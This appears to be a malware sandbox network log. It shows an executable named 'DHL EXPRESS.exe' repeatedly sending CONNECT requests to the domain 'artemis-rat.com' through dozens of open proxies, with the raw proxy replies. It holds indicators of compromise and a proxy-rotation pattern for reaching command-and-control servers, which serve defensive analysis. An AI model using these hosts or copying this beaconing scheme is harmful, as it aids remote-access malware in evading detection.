Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1229	192.168.2.8	53632	188.166.119.192	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.536578894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.206480026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.206758022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.967818975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.597306013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1230	192.168.2.8	53715	35.190.107.16	30000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.551063061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1231	192.168.2.8	53666	8.217.143.187	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.565031052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1232	192.168.2.8	51750	200.108.190.38	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.567990065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.536869049 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1233	192.168.2.8	53630	157.185.173.217	26589	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.575906992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1234	192.168.2.8	53597	202.139.198.15	3050	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.576163054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.688170910 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1235	192.168.2.8	53639	60.190.68.154	7302	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.577703953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.904944897 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1236	192.168.2.8	53569	183.230.162.122	9091	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.583203077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.956733942 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1237	192.168.2.8	53530	123.241.210.123	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.584093094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.084244013 CET	326	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1238	192.168.2.8	53745	104.24.15.158	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.584342003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.738585949 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1239	192.168.2.8	53594	116.106.105.55	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.585899115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1240	192.168.2.8	53595	123.13.218.68	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.590442896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.003155947 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1241	192.168.2.8	53650	47.74.152.29	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.630007982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.974396944 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1242	192.168.2.8	53643	84.201.138.237	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.630008936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1243	192.168.2.8	53773	172.64.207.185	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.630583048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.791702986 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1244	192.168.2.8	53593	95.188.82.147	3629	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.634171963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1245	192.168.2.8	53737	194.4.50.132	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.636018038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1246	192.168.2.8	53649	103.83.232.122	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.637538910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.008691072 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1247	192.168.2.8	53789	104.18.251.208	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.640302896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.794843912 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1248	192.168.2.8	53790	104.19.109.209	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.640372038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.794903994 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1249	192.168.2.8	53672	94.130.94.45	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.640465975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1250	192.168.2.8	53670	212.69.128.72	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.640573025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1251	192.168.2.8	53047	162.214.102.195	60891	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.649390936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.769083023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.769476891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.769279957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1252	192.168.2.8	53743	68.183.143.134	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.652947903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
